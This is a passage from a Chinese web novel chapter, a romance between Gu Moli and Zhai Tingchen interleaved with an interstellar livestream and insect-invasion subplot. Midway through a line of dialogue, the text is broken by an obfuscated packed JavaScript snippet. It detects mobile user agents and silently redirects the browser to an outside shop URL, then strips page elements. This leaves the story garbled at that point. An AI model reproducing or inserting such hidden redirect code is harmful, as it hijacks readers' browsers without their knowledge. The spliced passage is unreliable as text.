“那走吧。”翟庭琛伸手挡住车顶,看着顾茉莉上了车坐好,他才跟着坐进去。 裴肃越过严恒和徐峰,长腿一迈,坐到了两人对面。 庭院里的喷泉不知何时再次开启,悠扬的音乐声中,加长豪车缓缓驶出酒店,留下身后众多探究的目光和纷乱的思绪。 叶骁站在窗边,房间没有亮灯,只有偶尔打过来的几束光,五彩斑斓,映照在他的脸上、身上,明明灭灭。 这一晚,京市依旧繁华热闹,楼下宴会还在继续,歌舞升平、祥和宁静,可是有些人、有些事也在悄然发生着改变。 * “喝点润润喉。”翟庭琛从车载储物柜里取出一瓶牛奶递给顾茉莉。 腕上佛珠随着他的动作轻轻碰撞,伴着浮动的幽香,一瞬间仿佛置身尘世之外的佛寺,听晨钟暮鼓、看云卷云舒,宁静自在、心旷神怡。 “谢谢。”顾茉莉接过,不由诧异的抬起头。 热的? “夜里还是有点凉。”翟庭琛语气温和,“身体不是一朝一夕的事,适当的控制是为了以后更多更好的享受,就像木铎,它也有很多不能吃的东西对不对?” “嗯……”顾茉莉捧着牛奶小口小口的抿着,带着几分不好意思,“以后我会注意。” 翟庭琛笑着取出另一样东西,“那这个可以放心的给你了。” 顾茉莉看过去,竟是一盒马卡龙。小巧圆润的外形、丰富多样的色彩,如一个个小小的艺术品,精致而诱人。 “LADUREE?”顾茉莉惊喜,“你还去法国了?” 翟庭琛只点点头,并未多解释。 事实上他这次法国才是主要目的地,去香岛不过是听闻那里有场拍卖会的拍品中有奇楠,这才特意转道去了一趟,只是没想到飞机延误,紧赶慢赶也还是晚了一会。 他理了理佛珠,本是想寻莺歌绿,可凡世之所贵,必贵其难,尤其近些年沉香消耗越来越多、收藏热度却越来越高,想寻到正宗且好的奇楠是难上加难,何况真正顶级的品种,属实可遇不可求。 而且正如他所说,手串多有不便,不如吊坠轻省,他方才改变了主意。 他不说,顾茉莉多少也能猜到一些,法国有到京市的直达航班,实在无需再从香岛中转。 她侧过头去看他,两人离得近,可以闻到对方身上清雅的淡香,不是佛珠上传来的,而是他的衣服上。 香染客衣,如兰桂拂席。 她脑海中突然就浮上了这句话,常年戴着佛珠、日日与香为伍,只怕他所有的用具上都会沾染上这种香气。 她又想起当初在庭院中见到他的情形,手持手卷、膝上卧猫,一身悠闲仍难掩那通身的风华,在他身上有种万事万物都停下的安宁,如山中停下了微风,俗世散了纷扰。 “翟先生多大?” “二十七。” 正是青春肆意的年纪,他却早已褪去了青涩,如一弯平静的湖泊,不起波澜。 “几个月呀?”顾茉莉再问。 翟庭琛转头,正对上她一双笑盈盈的眼眸,眼里干净透彻,只有单纯的好奇。 他失笑,真的认真算了一下,“二十七岁四个月零十天?” “嗯,我记下啦。”她也极其认真的点头,好像这是一件十分重要的事。 不知为何,翟庭琛的心突然就酸酸涨涨的。 如果说初见是一眼万年般的惊艳,湖边她笑着说“很开心遇到你”是怦然的心动,那么此刻她简简单单的一句“我记下了”就是一场盛大的烟花乍响在他心头。 他第一次感受到了什么是澎拜,平静的湖面卷起波浪,冰冷的湖水汇入了暖流,暖得他的心跟着发颤。 他从不知道,有种话不动听、简短的不过一秒,却仿若世上最动人的情话。 “我也记下了。”他笑着喟叹。 他会记住这句话,也会记住此时的心情,更会记住说出那句话的她。 顾茉莉不太明白,但还是感受到了他的情绪变化,像是山中晨雾褪去,露出了其后山顶悬崖,看客们这才发现原来那里不只有积雪,还长着花。 “咳。”裴肃忍不住出声,打断了两人间莫名的氛围。 “顾总对于我刚才提到的方果有没有想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13716040|143500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?作为一个老牌食品产商,它拥有数百名员工,如果就此倒闭,很多人的生计将无法得到保证……” “这些方面似乎不在你的职责范围。”翟庭琛声音淡淡。 “事关人民群众,不在其位也想尽份心。” “那也请工作时间再谈。”翟庭琛抬起手腕,差十五分便是晚上十点。 “人民群众都不希望下班了还要谈工作。” 裴肃表情不变,眼神却有些凉,顾茉莉左右看看,“额,那我让严秘书……” 她本想说先交给严恒,毕竟情况她都不了解,可话说到一半她突然想起酒店门前徐峰的话。 严恒和她哥有嫌隙…… 一时间她也沉默了。 车厢里静了下来,裴肃左手划拉着右手大拇指,不再提其它。翟庭琛将她未喝完的牛奶瓶盖重新拧上,动作不紧不慢,做完时汽车正好停下。 “到了。” 顾茉莉恍然回神,“我去抱木铎!” “我和你一起。”翟庭琛跟着下车,“别让你再跑一趟。” “没事……” “木铎这些天有没有给你添麻烦?它大部分时间都算乖,就是偶尔也会闹点小脾气。” 翟庭琛不动声色的转移话题,不想她再拒绝,顾茉莉果然不再多说什么,转而开心的和他聊起了猫。 “你不知道它有多可爱,我带着去公司,它从来不乱跑……” 裴肃望着两人渐行渐远的身影,轻轻扯了扯嘴角,这家伙还是一如既往的“会来事”。 也对,从小看着别人眼色长大的人最会的就是“察言观色”、“揣度人心”了。 他撇过头,这里是权贵聚集区,人烟罕至,盘山公路蜿蜒而上,周围树木林立,夜色中枝桠随风微微摆动,落在地上犹如无数只触手,不知何时就会将人拉入沼泽。 “小心。”翟庭琛扶住顾茉莉,确定她站稳后又很快收回手。 他瞥了眼地面,鹅卵石铺就的道路好看是好看,只是走起路来容易不稳,尤其高跟鞋。 “我平时很少穿,不太习惯。”顾茉莉也看了看脚下,突然一弯腰把鞋脱了。 “这样就舒服多了。”她仰起头,笑靥如花。 月色如水她如霞,温暖而绚烂。 翟庭琛瞧着瞧着也弯下了腰,他半蹲着,右腿曲起抵着地面,快速脱下外衫铺在地上。 “踩着这个。” “不用不用!” 翟庭琛看她,眼里是从未有过的坚持。顾茉莉不知怎地忽然说不出任何话,她慢慢抬起脚、轻轻放了上去。 翟庭琛一手隔着半掌宽的距离虚虚扶在她腿边,一手取出锦帕轻掸掉她脚上沾到的灰尘。 锦帕是她曾经见过的那方墨蓝底色,握在手里时绵软暖和,拂在脚上柔滑舒适,可她觉得痒,痒得她笑容愈来愈大。 “翟先生。” 她拿出那块弥勒佛吊坠,贴在翟庭琛的眉间。 “也愿你笑口常开。” 14.京圈茉莉花 【啊啊有点甜是怎么回事,不行,感觉精神力控制不住了,我要出去跑几圈!】 【跑什么跑,去杀虫族!如果我立功了,国家能不能替我解决对象问题?不要别的,只要小茉莉!】 【想什么美事呢,小茉莉是我的。】 【喂喂一个个都喝醉了是吧,现在就开始做梦了?茉莉有翟翟,才轮不到你们这些一无是处的武夫!】 【啊,我还是喜欢严妈妈……】 星际直播间又吵成了一团,其他人见怪不怪,吆喝着他们也去打一架—— 实力至上、强者为尊的世界,人们习惯先以拳头说话,打赢了就服你,无论性别。 从直播开始,这样的情况已经发生过数回,不过令人没想到的是,这里面居然有人打着打着打出了感情,转而变成了情侣。 “虽然这种现象现在还算个例,但我相信随着直播间热度的不断升高,会有更多人羡慕、向往恋爱,只要有感情,他们就会自然产生缔结婚姻的念头。” 辛署将最新报告放到季沛霖面前,神情难掩雀跃,这证明他之前的猜想是正确的。 “先前由于不确定它的效果,我们只在小范围里做了推广,如今我认为是时候全面铺开了。” 他洋洋洒洒叙述了一大堆,却始终不见对面有任何回应,他不由慢慢闭上了嘴,面露忐忑,“执行官大人?” 他说的有哪里不对吗? 没有哪里不对,但就是感觉哪哪都不对。 季沛霖拿起报告,迟迟没有翻动。现在人都习惯光脑、机器处理问题,很少会用到纸张,但在上层阶级仍然保留了这样的传统。 尤其涉及到某些机密时,落实到纸上、锁在档案柜里成了一项必备流程。 他见过很多类似的文件,处理起来从来都是驾轻就熟,可是今日这份文件他感觉有点重,让他不确定该以什么样的态度对待它。 他是没再看直播,但开会时却破天荒的走了神,不经意间脑中总会闪过一双笑盈盈的眼。 就像中了毒一样。 他神色蓦地一变,“替我安排一次全身检查,再去查查虫族最近的动向。” “哎?”辛署不明所以,不是在讨论直播吗,怎么又说到虫族了? 还要做身体检查……您老的身体再健康不过了好吧? “我怀疑有虫族在我们不知道的时候入侵了。”季沛霖按住那份文件,越思考他最近的行为越觉得不对劲。 虫族一直是人类的心腹大患,与之争斗上千年都没能将他们彻底消灭,除了因为他们恐怖的繁衍能力和团结外,最重要的原因便是他们可以寄生到他人身上,在不知不觉间控制他人的精神,最终同化成自己人。 虽然精神力越高越不容易受到影响,但以前也不是没有倒在这种手段下的高级将领。 季沛霖神情凝重,难道他真不小心中招了? “去安排,一定尽快!” “那直播……”辛署犹豫的看着文件,这件事还办不办了? “再等等。”季沛霖将文件放入抽屉最底层,“等检查报告出来再说。” 如果真如他猜测的那样,连他都受到了影响,估计军中涉及的不在少数,那当务之急就不是推广直播、提高生育率,而是解决问题以及备战。 如果不是…… 季沛霖捏了捏眉心,重新打开光脑,屏幕上那朵茉莉花洁白如雪,美得不染纤尘。 或许他应该和帝国联系一下。 * 那边刚进家门的顾茉莉就听“叮”的一声,熟悉的顽童音响起:【关注度+1,主播健康值+1。】 她眸光不动,踩着拖鞋径直上了楼。 翟庭琛直到楼上亮起灯才缓步往外走,怀里木铎扒拉着他的手臂一直向后探头,嘴里呜呜呜咽咽,瞧着十分不舍。 “会再见的。”翟庭琛抚摸着它的脑袋,“别着急。” “翟二爷真有闲心,还养起了猫。”裴肃靠着车门,低头点了根烟,也不抽,只那么夹着。 有段时间他曾经压力很大,只能靠着尼古丁提神,后来转业换了身份,他将它戒了,可是每当心情不好、或是有什么难以解决之事,他还是会习惯性的点上一□□种独特的气味能让他保持清醒。 翟庭琛皱眉,将猫递给迎过来的司机,“带去车里,别开窗,它闻不得烟味。” “是。” 裴肃忽地嗤笑,“你什么时候这么有爱心了?” “动物比人可爱。”翟庭琛嗓音清冷。 猫是种比较内向的动物,需要长期的细节观察和揣摩,才能完全掌握它的喜好,但当它们一旦认可了你,它们又会对你全身心的依赖和信任。 比善变又复杂的人好了百倍。 “怎么,这是在人身上寻不到寄托,只能寄托在猫猫狗狗身上了?”裴肃似笑非笑,说出的话如刀般尖刻。 “也难怪,毕竟你一直以来都是得不到爱的可怜虫啊。” 嘶。 司机坐在车里大气都不敢喘,二爷可从未被人这么当面羞辱过。 这是什么仇什么怨啊? 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